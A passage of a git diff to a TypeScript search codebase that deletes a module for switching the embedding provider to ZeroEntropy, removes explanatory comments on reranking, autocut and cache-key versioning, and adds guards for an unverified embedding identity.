- * (a) current `embedding_model` does NOT start with `zeroentropyai:`
- * (b) `ze_switch_declined_at` is unset OR > 90 days old
- * (c) `ze_switch_applied` is not true
- * (d) at least one of:
- * - embedding_model is the legacy default (openai:text-embedding-3-large)
- * - brain has > 100 non-deleted pages
- */
-export async function planRetrievalUpgrade(engine: BrainEngine): Promise<RetrievalUpgradeState> {
- // Current config — file plane + DB plane both feed this; we read DB plane
- // because that's what the upgrade flow writes.
- const currentEmbeddingModel = await getStringConfig(engine, 'embedding_model')
- ?? 'openai:text-embedding-3-large';
- const currentDimStr = await engine.getConfig('embedding_dimensions');
- const currentDim = currentDimStr ? parseInt(currentDimStr, 10) : 1536;
-
- const declinedAtStr = await engine.getConfig(KEY_DECLINED_AT);
- const declinedAt = declinedAtStr ? new Date(declinedAtStr) : null;
- const declinedTooLongAgo = declinedAt
- ? (Date.now() - declinedAt.getTime()) > ZE_DECLINE_REASK_DAYS * 24 * 60 * 60 * 1000
- : true; // never declined = same as "decline expired" for the iff check
- const alreadyDeclined = declinedAt !== null && !declinedTooLongAgo;
-
- const applied = (await engine.getConfig(KEY_APPLIED)) === 'true';
-
- // Page-count probe (C3-d) — cheap COUNT(*).
- const pageCountRows = await engine.executeRaw<{ count: string | number }>(
- `SELECT COUNT(*)::bigint AS count FROM pages WHERE deleted_at IS NULL`,
- );
- const totalPages = Number(pageCountRows[0]?.count ?? 0);
-
- const isOnZE = currentEmbeddingModel.startsWith('zeroentropyai:');
- const isLegacyDefault = currentEmbeddingModel === 'openai:text-embedding-3-large';
-
- const zeSwitchOffered =
- !isOnZE
- && !alreadyDeclined
- && !applied
- && (isLegacyDefault || totalPages > ZE_MIN_PAGES_FOR_OFFER);
-
- // Chunker-bump pending: same query the v0.32.7 prompt uses.
- const chunkerEstimate = await computeReembedEstimate(engine, currentEmbeddingModel);
- const chunkerBumpPending = chunkerEstimate.pendingCount > 0;
- const pagesPendingChunker = chunkerEstimate.pendingCount;
-
- // Dim-change pending: all non-deleted pages, when target dim differs.
- const targetEmbeddingModel = zeSwitchOffered ? ZE_TARGET_EMBEDDING_MODEL : null;
- const targetDim = zeSwitchOffered ? ZE_TARGET_EMBEDDING_DIM : null;
- const pagesPendingDim = zeSwitchOffered && currentDim !== ZE_TARGET_EMBEDDING_DIM
- ? totalPages
- : 0;
-
- // C4 cost math: ONE re-embed pass covers both surfaces. MAX, not SUM.
- // When dim is changing, every page re-embeds at the new dim regardless of
- // chunker state; the chunker count is naturally subsumed.
- const pagesToReembed = Math.max(pagesPendingChunker, pagesPendingDim);
-
- // Cost: estimate at the TARGET provider's price when switching, else the
- // current provider's price. Both estimates feed lookupEmbeddingPrice; if
- // pricing is unknown we degrade to 0 (caller surfaces "estimate unavailable").
- const targetModelForCost = targetEmbeddingModel ?? currentEmbeddingModel;
- const price = lookupEmbeddingPrice(targetModelForCost);
- const charsPerPageRows = await engine.executeRaw<{ avg_chars: string | number | null }>(
- `SELECT COALESCE(AVG(LENGTH(compiled_truth) + LENGTH(timeline)), 0)::bigint AS avg_chars
- FROM pages WHERE deleted_at IS NULL`,
- );
- const avgChars = Number(charsPerPageRows[0]?.avg_chars ?? 0);
- const totalChars = avgChars * pagesToReembed;
- const estCostUsd = price.kind === 'known'
- ? estimateCostFromChars(totalChars, price.pricePerMTok)
- : 0;
-
- const estMinutes = pagesToReembed === 0
- ? 0
- : Math.max(1, Math.ceil(pagesToReembed / EMBED_PAGES_PER_MINUTE));
- // PGLite: schema change is fast (single-writer, no concurrency, in-process).
- // Postgres: drop+recreate column + HNSW rebuild scales with row count.
- // Cap at 60s — past that the user should be on a worker job anyway.
- const estSchemaChangeSeconds = engine.kind === 'pglite'
- ? 1
- : Math.min(60, Math.ceil(totalPages * POSTGRES_DDL_MS_PER_PAGE / 1000));
-
- return {
- chunker_bump_pending: chunkerBumpPending,
- ze_switch_offered: zeSwitchOffered,
- ze_switch_already_declined: alreadyDeclined,
- current_embedding_model: currentEmbeddingModel,
- current_dim: currentDim,
- target_embedding_model: targetEmbeddingModel,
- target_dim: targetDim,
- pages_pending_chunker: pagesPendingChunker,
- pages_pending_dim: pagesPendingDim,
- est_cost_usd: estCostUsd,
- est_minutes: estMinutes,
- est_schema_change_seconds: estSchemaChangeSeconds,
- };
-}
-
-/**
- * Apply the planned upgrade: capture snapshot, run schema transition,
- * write config, mark applied. Idempotent: re-running on an already-applied
- * brain returns `skipped_already_applied`.
- *
- * The order (D18 + plan A2 step list) is deliberate:
- * 1. Snapshot prior state for --undo (D16)
- * 2. Set ze_switch_requested = true
- * 3. Schema transition INSIDE a single transaction (D18)
- * - DROP indexes, ALTER COLUMN, CREATE indexes — atomic
- * 4. Write config keys (embedding_model, dim, reranker)
- * 5. Set ze_switch_applied = true
- *
- * Crash between (3) and (4) leaves the schema at the target width but the
- * config at the source. Doctor's `embedding_width_consistency` detects the
- * drift and prints the engine-branched recovery recipe (there is no CLI
- * resume anymore — the ze-switch shim refuses everything).
- */
-export async function applyRetrievalUpgrade(
- engine: BrainEngine,
- plan: RetrievalUpgradeState,
- opts: ApplyOpts = {},
-): Promise<ApplyResult> {
- // Idempotency.
- if ((await engine.getConfig(KEY_APPLIED)) === 'true') {
- return { status: 'skipped_already_applied', plan };
- }
- // No-work fast path.
- if (!plan.ze_switch_offered && !plan.chunker_bump_pending) {
- return { status: 'skipped_no_work', plan };
- }
- // The chunker-only path doesn't need a schema transition. Caller's
- // responsibility to invoke the existing `gbrain reindex --markdown` flow.
- // We return skipped_no_work for this case since the planner is the ZE-switch
- // applier; chunker-only re-embed continues through the legacy v0.32.7 path.
- if (!plan.ze_switch_offered) {
- return { status: 'skipped_no_work', plan };
- }
-
- // v0.41.2.1 D9 #7 — env-override gate fires FIRST, before any mutation.
- // Schema transition (line ~304) AND the snapshot/intent writes below
- // (lines ~294 and ~297) are all skipped if env override would defeat the
- // switch at runtime. Pre-fix, the planner wrote KEY_PREVIOUS_SNAPSHOT
- // and KEY_REQUESTED before checking — which left the brain in a
- // half-applied state when the warning fired post-mutation. The new
- // contract is: refused = zero side effects.
- const targetModel = plan.target_embedding_model ?? ZE_TARGET_EMBEDDING_MODEL;
- const targetDim0 = plan.target_dim ?? ZE_TARGET_EMBEDDING_DIM;
- const envWarning = detectEnvOverride(targetModel, targetDim0);
- if (envWarning.triggered && !opts.ignoreEnvOverride) {
- return { status: 'refused', plan, reason: 'env_override', warning: envWarning };
- }
-
- try {
- // 1. Capture snapshot BEFORE any writes so --undo always has a target.
- const snapshot: ZeSwitchSnapshot = {
- embedding_model: plan.current_embedding_model,
- embedding_dimensions: plan.current_dim,
- search_reranker_enabled: (await engine.getConfig('search.reranker.enabled')) === 'true',
- search_reranker_model: await engine.getConfig('search.reranker.model'),
- };
- await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, JSON.stringify(snapshot));
-
- // 2. Record intent.
- await engine.setConfig(KEY_REQUESTED, 'true');
-
- // 3. Schema transition atomically (D18). DROP indexes, swap column,
- // recreate indexes — all in one transaction so a crash mid-flight
- // rolls everything back. HNSW indexes are part of the transaction;
- // no "lazy recreation" window.
- const targetDim = plan.target_dim ?? ZE_TARGET_EMBEDDING_DIM;
- await runSchemaTransition(engine, targetDim);
-
- // 4. Write config.
- await engine.setConfig('embedding_model', plan.target_embedding_model ?? ZE_TARGET_EMBEDDING_MODEL);
- await engine.setConfig('embedding_dimensions', String(targetDim));
- await engine.setConfig('search.reranker.enabled', 'true');
- await engine.setConfig('search.reranker.model', ZE_TARGET_RERANKER_MODEL);
-
- // 5. Mark work complete.
- await engine.setConfig(KEY_APPLIED, 'true');
- await engine.setConfig(KEY_PROMPT_SHOWN, 'true');
-
- return { status: 'applied', plan };
- } catch (err) {
- return {
- status: 'failed',
- plan,
- reason: err instanceof Error ? err.message : String(err),
- };
- }
-}
-
-/** Mark the prompt as shown without accepting. User picked Enter (default = stay). */
-export async function recordDeclinedThisRun(engine: BrainEngine): Promise<void> {
- await engine.setConfig(KEY_PROMPT_SHOWN, 'true');
-}
-
-/** Mark "never ask again". User picked 'n'. */
-export async function recordDeclinedForever(engine: BrainEngine): Promise<void> {
- await engine.setConfig(KEY_PROMPT_SHOWN, 'true');
- await engine.setConfig(KEY_DECLINED_AT, new Date().toISOString());
-}
-
-/**
- * Crash recovery (D5 superseded). Reads the (requested, applied) pair and
- * finishes whichever step is incomplete. Idempotent.
- */
-export async function resumeRetrievalUpgrade(
- engine: BrainEngine,
- opts: ApplyOpts = {},
-): Promise<ApplyResult> {
- const requested = (await engine.getConfig(KEY_REQUESTED)) === 'true';
- const applied = (await engine.getConfig(KEY_APPLIED)) === 'true';
- const plan = await planRetrievalUpgrade(engine);
-
- if (applied) {
- return { status: 'skipped_already_applied', plan };
- }
- if (!requested) {
- // Nothing to resume — caller should run `applyRetrievalUpgrade` fresh.
- return { status: 'skipped_no_work', plan };
- }
-
- // v0.41.2.1 D9 #6 — env-override gate fires FIRST on resume too.
- // Pre-fix, resume was a bypass path: it called runSchemaTransition at
- // line ~360 with no env check, so a user could refuse apply (env triggered)
- // then run --resume to silently apply with the same broken env still set.
- // Now both paths share identical gate semantics.
- const targetDim = ZE_TARGET_EMBEDDING_DIM;
- const envWarning = detectEnvOverride(ZE_TARGET_EMBEDDING_MODEL, targetDim);
- if (envWarning.triggered && !opts.ignoreEnvOverride) {
- return { status: 'refused', plan, reason: 'env_override', warning: envWarning };
- }
-
- // requested=true, applied=false. Either schema is at target and config
- // still says source, or schema crashed mid-DDL. Re-run schema transition
- // then write config + mark applied.
- try {
- // Width guard: the transition is DROP COLUMN + ADD COLUMN — a same-width
- // re-run still DELETES every stored vector. Resume must only rebuild when
- // the column genuinely isn't at the target width yet.
- const col = await readContentChunksEmbeddingDim(engine);
- if (col.dims !== targetDim) {
- await runSchemaTransition(engine, targetDim);
- }
- await engine.setConfig('embedding_model', ZE_TARGET_EMBEDDING_MODEL);
- await engine.setConfig('embedding_dimensions', String(targetDim));
- await engine.setConfig('search.reranker.enabled', 'true');
- await engine.setConfig('search.reranker.model', ZE_TARGET_RERANKER_MODEL);
- await engine.setConfig(KEY_APPLIED, 'true');
- await engine.setConfig(KEY_PROMPT_SHOWN, 'true');
- return { status: 'applied', plan };
- } catch (err) {
- return {
- status: 'failed',
- plan,
- reason: err instanceof Error ? err.message : String(err),
- };
- }
-}
-
-/**
- * Undo the switch (D16). Reads ze_switch_previous_snapshot, runs reverse
- * schema transition to the prior width, restores prior config. Caller is
- * responsible for surfacing the cost-warning prompt BEFORE invoking this.
- */
-export async function undoRetrievalUpgrade(engine: BrainEngine): Promise<
- | { status: 'undone'; snapshot: ZeSwitchSnapshot }
- | { status: 'no_snapshot' }
- | { status: 'failed'; reason: string }
-> {
- const snapshotStr = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
- if (!snapshotStr) {
- return { status: 'no_snapshot' };
- }
-
- let snapshot: ZeSwitchSnapshot;
- try {
- snapshot = JSON.parse(snapshotStr) as ZeSwitchSnapshot;
- } catch (err) {
- return {
- status: 'failed',
- reason: `corrupt ze_switch_previous_snapshot: ${err instanceof Error ? err.message : String(err)}`,
- };
- }
-
- try {
- // Width guard (mirrors resume): a same-width DROP+ADD still deletes every
- // vector — only rebuild when the column isn't at the snapshot width.
- const col = await readContentChunksEmbeddingDim(engine);
- if (col.dims !== snapshot.embedding_dimensions) {
- await runSchemaTransition(engine, snapshot.embedding_dimensions);
- }
- await engine.setConfig('embedding_model', snapshot.embedding_model);
- await engine.setConfig('embedding_dimensions', String(snapshot.embedding_dimensions));
- await engine.setConfig('search.reranker.enabled', snapshot.search_reranker_enabled ? 'true' : 'false');
- if (snapshot.search_reranker_model) {
- await engine.setConfig('search.reranker.model', snapshot.search_reranker_model);
- } else {
- await engine.unsetConfig('search.reranker.model');
- }
- // Reset applied marker so the planner re-offers on a future upgrade.
- await engine.unsetConfig(KEY_APPLIED);
- await engine.unsetConfig(KEY_REQUESTED);
- return { status: 'undone', snapshot };
- } catch (err) {
- return {
- status: 'failed',
- reason: err instanceof Error ? err.message : String(err),
- };
- }
-}
-
-// ============================================================================
-// Schema transition — MOVED to embedding-migration.ts (re-exported above).
-// This file is deleted wholesale in the v0.47 ZE removal wave; the survivor
-// module owns the DDL now.
-// ============================================================================
-
-// ============================================================================
-// Helpers
-// ============================================================================
-
-async function getStringConfig(engine: BrainEngine, key: string): Promise<string | null> {
- return await engine.getConfig(key);
-}
-
-/** For tests + introspection: re-export the chunker version we plan against. */
-export { MARKDOWN_CHUNKER_VERSION };
diff --git a/src/core/search/autocut.ts b/src/core/search/autocut.ts
index 14edfe0b8d..7311b7d5d1 100644
--- a/src/core/search/autocut.ts
+++ b/src/core/search/autocut.ts
@@ -33,18 +33,7 @@ export interface AutocutConfig {
jumpRatio: number;
/** Failsafe: never return fewer than this when candidates exist (≥1). */
minKeep: number;
- /**
- * v0.46.15 (#1863) — weak-top floor. When the TOP rerank score is below this
- * absolute value, the whole list is low-confidence and gap normalization is
- * meaningless (a 0.317 top makes ordinary decay look like a confident
- * cliff → spurious 1-result collapse on rare cross-source queries). Below
- * the floor autocut no-ops and the full cluster survives.
- *
- * SCALE CAVEAT: 0.35 is calibrated for the current default reranker's
- * relevance scale. The September reranker default flip (zerank-2 →
- * voyage rerank-2.5) MUST re-tune this knob — see the v0.47 removal
- * checklist. Config: `search.autocut_min_top`.
- */
+
minTopScore: number;
}
diff --git a/src/core/search/embedding-column.ts b/src/core/search/embedding-column.ts
index 31cfa9e0da..f5bb4b0cb0 100644
--- a/src/core/search/embedding-column.ts
+++ b/src/core/search/embedding-column.ts
@@ -315,18 +315,20 @@ export function getEmbeddingColumnRegistry(
// unit tests that exercise the registry without booting the gateway).
let gwModel: string | undefined;
let gwDims: number | undefined;
+ let unresolvedIdentity = !cfg.embedding_model?.trim() && !!(cfg.database_path || cfg.database_url);
try {
// Dynamic import avoids a static cycle (gateway can transitively
// depend on this module via search/hybrid.ts → search/embedding-column.ts).
// require() is synchronous here because we're already on a hot path.
const gw = require('../ai/gateway.ts') as typeof import('../ai/gateway.ts');
+ unresolvedIdentity ||= gw.requireConfig().embedding_identity_unverified === true;
gwModel = gw.getEmbeddingModel();
gwDims = gw.getEmbeddingDimensions();
} catch {
// Gateway unconfigured or import cycle — fall through to the
// canonical default in `ai/defaults.ts`.
}
- const embedModel = cfg.embedding_model ?? gwModel ?? DEFAULT_EMBEDDING_MODEL;
+ const embedModel = cfg.embedding_model ?? (unresolvedIdentity ? '' : gwModel ?? DEFAULT_EMBEDDING_MODEL);
const embedDims =
typeof cfg.embedding_dimensions === 'number' && cfg.embedding_dimensions > 0
? cfg.embedding_dimensions
@@ -487,11 +489,14 @@ export function isDefaultColumn(resolved: ResolvedColumn): boolean {
*/
export function isCacheSafe(resolved: ResolvedColumn, cfg: GBrainConfig): boolean {
if (resolved.name !== DEFAULT_COLUMN_NAME) return false;
+ if (!resolved.embeddingModel) return false;
+ if (!cfg.embedding_model?.trim() && (cfg.database_path || cfg.database_url)) return false;
// v0.37 fix wave: same resolution chain as the registry — cfg > gateway > default.
let gwModel: string | undefined;
let gwDims: number | undefined;
try {
const gw = require('../ai/gateway.ts') as typeof import('../ai/gateway.ts');
+ if (gw.requireConfig().embedding_identity_unverified && !cfg.embedding_model?.trim()) return false;
gwModel = gw.getEmbeddingModel();
gwDims = gw.getEmbeddingDimensions();
} catch { /* gateway unconfigured — fall through to constants */ }
diff --git a/src/core/search/hybrid.ts b/src/core/search/hybrid.ts
index a11b66dae2..1a55f7146f 100644
--- a/src/core/search/hybrid.ts
+++ b/src/core/search/hybrid.ts
@@ -308,36 +308,6 @@ export function applyBacklinkBoost(
}
}
-/**
- * v0.35.6.0 — floor-ratio threshold computation.
- *
- * Returns the absolute score floor below which boost stages skip a result.
- * Returns `Number.NEGATIVE_INFINITY` (no gate) when:
- * - `floorRatio` is undefined (default — preserves prior behavior bit-for-bit)
- * - `floorRatio` is NaN, infinite, negative, or > 1 (out-of-range silently
- * disables the gate; range validation lives at the config-parse layer)
- * - No result has a positive, finite score (all-NaN, all-negative, or empty
- * input arrays produce no positive signal — gate stays off)
- *
- * Otherwise returns `topScore * floorRatio`, where `topScore` is the largest
- * finite score in `results`. Callers compute this ONCE before any boost stage
- * runs, then pass the resulting threshold to every stage. Single-baseline
- * semantic — order-independent across the three metadata-axis boosts.
- *
- * Why this exists: gbrain's bounded boosts (`[1.0, ~1.6]` log-compressed
- * salience clip, log-scaled backlinks, half-life recency) keep any single
- * boost from catastrophically flipping rankings on curated small corpora.
- * On larger corpora indexed with dense embedders (text-embedding-3-large,
- * Voyage 3+, ZeroEntropy zembed-1), weak-overlap candidates can land in
- * top-K via baseline vector overlap and accumulate metadata boost until
- * they leapfrog the legitimate primary hit. The gate restricts each
- * metadata boost to the head of the candidate pool so the long tail keeps
- * its unboosted relevance ranking.
- *
- * 0.85 is a reasonable starting value for dense-embedder corpora. Default
- * stays undefined (no gate) until per-corpus ablation evidence supports a
- * default flip (see `TODOS.md` floor-ratio ablation entry).
- */
export function computeFloorThreshold(
results: SearchResult[],
floorRatio: number | undefined,
@@ -1122,11 +1092,6 @@ export interface HybridSearchOpts extends SearchOpts {
_searchModeInput?: ResolveSearchModeInput;
}
-/**
- * v0.42.20.0 (Fix 3, #1775) — bound the query-time embed so a stalled provider
- * (the user's zeroentropy case) fails over to keyword instead of hanging past
- * the CLI's 10s force-exit. Default 6s leaves headroom under that deadline.
- */
const QUERY_EMBED_TIMEOUT_MS = (() => {
const n = Number(process.env.GBRAIN_QUERY_EMBED_TIMEOUT_MS);
return Number.isFinite(n) && n > 0 ? n : 6_000;
@@ -1559,11 +1524,6 @@ export async function hybridSearch(
});
}
- // Skip vector search entirely if the gateway has no embedding provider configured (Codex C3).
- // v0.36 (D10): ask "is the RESOLVED column's provider reachable?" rather
- // than "is the global default reachable?" — otherwise an unreachable
- // global default disables vector search even when the active column's
- // provider (Voyage, ZE) works fine.
const { isAvailable } = await import('../ai/gateway.ts');
const providerProbe = resolvedCol.embeddingModel || undefined;
// Image/both/unified routing embeds via the MULTIMODAL provider, not the
@@ -1695,27 +1655,6 @@ export async function hybridSearch(
return noEmbedBudgeted;
}
- // v0.36 cross-modal wave: determine the effective modality once.
- //
- // Precedence (D22-1 normalization): literal 'auto' is normalized to
- // undefined so it doesn't reach the modality branch directly. Resolution:
- // explicit opts.crossModal ('text'|'image'|'both') wins
- // else suggestions.suggestedModality (regex-driven)
- // else (Commit 4) opt-in LLM tie-break for genuinely ambiguous queries
- // else 'text' (default)
- //
- // D9 mode-bundle override matrix: when effectiveModality === 'image',
- // cross-modal path overrides bundle knobs (expansion=false, no keyword
- // search). Voyage handles synonyms in-space; zerank-2 can't rerank image
- // embeddings.
- //
- // Phase 3 (D8): when search.unified_multimodal is true, ALL queries
- // route through the multimodal model + embedding_multimodal column,
- // regardless of detected modality.
- //
- // Commit 4 (LLM intent escalation): when search.cross_modal.llm_intent
- // is true AND regex returned 'text' AND isAmbiguousModalityQuery fires,
- // await a Haiku tie-break. Fail-open to regex result on any error.
const explicitModality =
opts?.crossModal && opts.crossModal !== 'auto' ? opts.crossModal : undefined;
let regexModality = explicitModality ?? suggestions.suggestedModality ?? 'text';
@@ -2293,7 +2232,7 @@ export async function hybridSearch(
model: resolvedMode.reranker_model,
timeoutMs: resolvedMode.reranker_timeout_ms,
};
- // v0.48.2: a SKIPPED reranker (no provider key / provider past its sunset)
+
// is stamped `reranker_skipped` (ranking-only — never shortens the cache TTL
// or turns an empty result into a degraded miss), and a success-shaped
// pass-through (#4648: provider answered 200 with an empty/malformed result
@@ -2603,15 +2542,6 @@ export async function hybridSearchCached(
metadata_boost_gate: normalizeMetadataBoostGate(opts?.metadataBoostGate),
},
});
- // v0.36 (D8 / CDX-2 + codex /ship #4): resolve column for the cache
- // decision. The query_cache.embedding column has one fixed pgvector dim
- // sized at brain init; storing a 1024d Voyage or 2560d ZE cache
- // embedding fails or corrupts results. Name-based check ("is it the
- // default `embedding` column?") is insufficient — the registry
- // explicitly allows overriding builtin `embedding` to a different
- // provider/dim. isCacheSafe compares the resolved column's full
- // embedding space (name + dim + model) against cfg and returns true
- // only when ALL match. Otherwise skip.
const mergedCfgCached = await loadConfigWithEngine(engine).catch(() => null);
const cfgCached = mergedCfgCached ?? ((await import('../config.ts')).loadConfig()) ?? { engine: 'pglite' as const };
const resolvedColCached = resolveEmbeddingColumn(opts, cfgCached);
diff --git a/src/core/search/mode.ts b/src/core/search/mode.ts
index 7d4113befc..2204548d60 100644
--- a/src/core/search/mode.ts
+++ b/src/core/search/mode.ts
@@ -151,17 +151,7 @@ export interface ModeBundle {
* (rounding error vs Opus, meaningful vs Haiku).
*/
reranker_enabled: boolean;
- /**
- * Provider:model for the reranker. Bundle default is
- * `DEFAULT_RERANKER_MODEL` (ai/defaults.ts — `voyage:rerank-2.5` since
- * v0.48.2, flipped from the sunsetting ZeroEntropy zerank-2 ahead of the
- * 2026-09-04 hosted shutdown). Rides VOYAGE_API_KEY; a brain without the
- * key fails open per search (`RerankError('no_key')`, one audit row per
- * process, no stderr — `gbrain search modes` / `gbrain doctor` say so).
- * Keyed non-voyage installs get explicit `search.reranker.enabled false`
- * at init. Because `reranker_model` is folded into the knobs hash
- * unconditionally, the flip re-keyed every cached result set once.
- */
+
reranker_model: string;
/** Candidates to send upstream (default 30). The full result list always
* reaches the user — topNIn just caps API spend on the rerank call. */
@@ -323,14 +313,7 @@ export interface ModeBundle {
* run. Override: `search.autocut_jump` config → mode bundle.
*/
autocut_jump: number;
- /**
- * v0.46.15 (#1863) — weak-top floor: when the TOP rerank score is below
- * this, autocut no-ops (gap normalization by a weak top manufactures
- * spurious cliffs). Scale-dependent on the reranker — tuned on zerank-2's
- * score scale; the v0.48.2 voyage default is measured against it by the
- * pre-registered rerank A/B (rule R2) and re-tuned there if it moves.
- * Config: `search.autocut_min_top`.
- */
+
autocut_min_top: number;
/**
* Autocut floor: never trim the returned set below this many results when
@@ -491,15 +474,6 @@ export const MODE_BUNDLES: Readonly<Record<SearchMode, Readonly<ModeBundle>>> =
expansion: false,
expansion_variant_budget: null,
searchLimit: 25,
- // v0.36.0.0 (D6): reranker flipped ON for `balanced` mode bundle. The
- // real-corpus benchmark shows zerank-2 reshuffles 60% of top-1 results
- // — the headline ZE quality story reaches the 80% of installs that
- // stay on `balanced`. Per-query rerank cost ~$0.025/M tokens, ~150ms
- // p50 added latency. A missing VOYAGE_API_KEY is handled via the
- // src/core/search/rerank.ts fail-open contract: one `no_key` audit row per
- // process, results pass through in RRF order, `reranker_skipped` stamped
- // on the search meta. Opt out with
- // `gbrain config set search.reranker.enabled false`.
reranker_enabled: true,
reranker_model: DEFAULT_RERANKER_MODEL,
// v0.42.3.0 D4: topNIn = searchLimit (25) so the cross-encoder scores
@@ -784,12 +758,6 @@ export function resolveSearchMode(input: ResolveSearchModeInput): ResolvedSearch
return bundle[key];
};
- // v0.40.6.1: `reranker_timeout_ms` resolution slots the resolved recipe's
- // touchpoint default between override and bundle, so local rerankers
- // (llama.cpp serving Qwen3-Reranker / self-hosted ZE on CPU) inherit
- // their cold-start headroom without forcing users to discover the
- // `search.reranker.timeout_ms` config key.
- // Precedence: per-call > config override > recipe.touchpoints.reranker.default_timeout_ms > mode bundle.
const resolvedRerankerModel = pick('reranker_model');
const pickRerankerTimeoutMs = (): number => {
if (pc.reranker_timeout_ms !== undefined) return pc.reranker_timeout_ms;
@@ -890,234 +858,6 @@ export function attributeKnob<K extends keyof ModeBundle>(
* reorder or add a knob without bumping a constant — a hash collision would
* mean stale cache rows silently reading the wrong shape.
*/
-// v0.35.0.0+ bump 1→2: reranker fields participate in the cache key so a
-// tokenmax-with-reranker write can't be served to a reranker-off lookup.
-// v0.35.6.0 bump 2→3: floor_ratio participates so a floor-on write can't
-// be served to a floor-off lookup (cross-floor contamination, codex T1).
-// CDX2-F13 convention: under a version bump, additions are APPEND-ONLY at
-// the end of `parts[]` — reordering existing fields would silently rebuild
-// the hash for every existing row.
-//
-// CDX2-F12 mid-deploy duplicate-row note: because `cacheRowId()` (in
-// src/core/search/query-cache.ts) includes knobsHash, a v=2 process and a
-// v=3 process writing the same `(source_id, query_text)` produce DISTINCT
-// row IDs. Expect a temporary hit-rate dip + cache-row doubling for hot
-// queries during a rolling deploy. Clears naturally within
-// `cache.ttl_seconds` (default 3600s). The CHANGELOG note covers this.
-//
-// v0.36 wave: cross-modal knobs ALSO participate in v=3 hash (D2 cache
-// contamination fix — a text-mode cache hit cannot silently serve an
-// image-mode caller). v0.35.6.0's floor_ratio bump and v0.36's cross-modal
-// extensions both land under v=3, with cross-modal fields appended after
-// the floor_ratio entry (CDX2-F13 append-only convention).
-//
-// v0.40.4 bump 3→4: graph_signals participates in the cache key. A
-// graph-on write must NOT be served to a graph-off lookup (ranking
-// shifts when adjacency / cross-source / session-demote stamps move
-// results). v0.39 T21 (master) also added schema_pack identity fields
-// under v=4.
-//
-// v0.40.3.0 bump 4→5: contextual_retrieval and contextual_retrieval_disabled
-// added under v=5 (per D8 sequencing — first to land claimed v=4; the
-// contextual-retrieval wave rebased to v=5). Mid-deploy hit-rate dip is
-// expected — clears within cache.ttl_seconds (3600s default).
-//
-// v0.42 bump 5→6: alias_resolved_boost (T19, plan D6) adds a new post-fusion
-// stage. Results whose slug is a canonical_slug in slug_aliases get a
-// 1.05x multiplier. Cached pre-v0.42 entries don't reflect the boost so
-// must invalidate. Same one-time miss-spike pattern as prior bumps;
-// fills within cache.ttl_seconds (3600s default).
-//
-// T2 bump 6→7: title_boost (retrieval-maxpool incident) adds a post-fusion
-// stage that multiplies title-phrase-matching results. A title-boost-on write
-// must NOT be served to a title-boost-off lookup (ranking shifts). Same
-// one-time miss-spike pattern; fills within cache.ttl_seconds.
-//
-// v0.42.3.0 bump 7→8: autocut (score-discontinuity result-sizing) adds `ac`
-// + `acj` parts. Default-ON in reranked modes trims the returned set, so an
-// autocut-on write must NOT be served to an autocut-off lookup. ONE-TIME
-// global cache cold-miss on upgrade — EVERY query_cache row invalidates,
-// including conservative/no-reranker calls where autocut is a no-op (the hash
-// is global, not per-mode). Refills within cache.ttl_seconds (3600s default).
-//
-// bump 8→9 (issue #1777): `archive/` moved from DEFAULT_HARD_EXCLUDES to a 0.5
-// source-boost demote. The source-boost / hard-exclude policy is NOT part of the
-// knobs hash, so without a version bump cached rows would keep returning the old
-// archive-excluded result set for up to cache.ttl_seconds. Bumping forces the fix
-// to take effect immediately (one-time global cache cold-miss on upgrade; refills
-// within cache.ttl_seconds). Same cache-key-contamination convention as the
-// autocut / title_boost / graph_signals bumps above.
-//
-// bump 10→11 (#1400 input_type fix): asymmetric embedding models (zembed-1
-// hosted or local, Voyage v3+) had their query-side input_type stripped by
-// the AI SDK before the wire, so every cached row's key embedding AND result
-// set were computed with document-side query vectors. The fix changes what
-// embedQuery() produces for those providers; pre-fix rows must not be served
-// to post-fix lookups. Same one-time global cold-miss pattern as the bumps
-// above (the hash is global, not per-provider); refills within
-// cache.ttl_seconds (3600s default).
-//
-// bump 11→12 (2026-07-16, #2825): the resolved hard-exclude slug-prefix list
-// (defaults ∪ GBRAIN_SEARCH_EXCLUDE ∪ exclude_slug_prefixes, minus
-// include_slug_prefixes) folds into the key via ctx.hardExcludes. It only
-// applied at DB-query build time (cache miss), so a process with
-// GBRAIN_SEARCH_EXCLUDE set could be served cached rows containing excluded
-// slugs written by a process without it, and vice versa. Same one-time
-// global cold-miss pattern as the bumps above; refills within
-// cache.ttl_seconds (3600s default).
-//
-// bump 12→13 (#3390/#3391): embedding-provider migration wave. The `prov=`
-// component only isolates callers that thread KnobsHashContext.embeddingModel;
-// legacy callers hash `prov=default` before AND after a provider swap, so a
-// cache row computed against the pre-migration embedding space could be
-// served post-migration. `gbrain migrate embeddings` purges query_cache
-// directly at swap time; this version bump is the belt-and-braces for rows
-// written between the #3391 stale-fix (which changes which chunks count as
-// current) and the operator's migration run. Same one-time global cold-miss
-// pattern as the bumps above.
-//
-// bump 14→15: the FTS configuration name (GBRAIN_FTS_LANGUAGE, resolved by
-// getFtsLanguage()) folds into the key via the `fts=` part. It reaches BOTH
-// engines' keyword SQL (websearch_to_tsquery/to_tsvector in postgres-engine
-// and pglite-engine) and the two search_vector trigger functions, so it
-// changes which rows the keyword arm returns — but it only applied at
-// DB-query build time (cache miss). Switching language and running
-// `gbrain reindex-search-vector` therefore left every pre-switch query_cache
-// row reachable: the freshly retokenized index was silently bypassed for up
-// to cache.ttl_seconds, with no warning and no way for an operator to tell.
-// Same one-time global cold-miss pattern as the bumps above; refills within
-// cache.ttl_seconds (3600s default).
-//
-// bump 15→16 (#3515): `detail` folds into the key via ctx.detail (det=).
-// detail is result-affecting by design — it gates dedup, chunk-source
-// filtering, and the compiled_truth boost — but was absent from the key, so
-// a `--detail low` write (compiled-truth-only result set) was served to a
-// default `medium` lookup for the whole TTL. Same contamination class as
-// [CDX-4], floor_ratio (v=3), and relationalRetrieval (v=10). v=14 was
-// claimed by #3514 (compiled_truth boost scope, #3430) and v=15 by the
-// `fts=` fold (#3677), so this lands as v=16 per the D8 sequencing
-// convention (see the v=4/v=5 note above). Same one-time global cold-miss
-// pattern as the bumps above.
-//
-// bump 16→17 (WP2/T3): degradation-stamp epoch. HybridSearchMeta gains
-// `degraded[]` + `retrieved_count` and every cache write now stamps them
-// (degraded rows additionally get a short TTL). A pre-stamp row served as a
-// hit would claim a clean run it can't prove; bumping makes pre-upgrade rows
-// unreachable (one-time cold-miss, refills within cache.ttl_seconds), and
-// any row that still lacks the stamp surfaces as
-// degraded:[{stage:'cache_prestamp'}] at hit time (belt-and-braces).
-// (Merge note: both this wave and master's #3515 wave claimed v=16 in
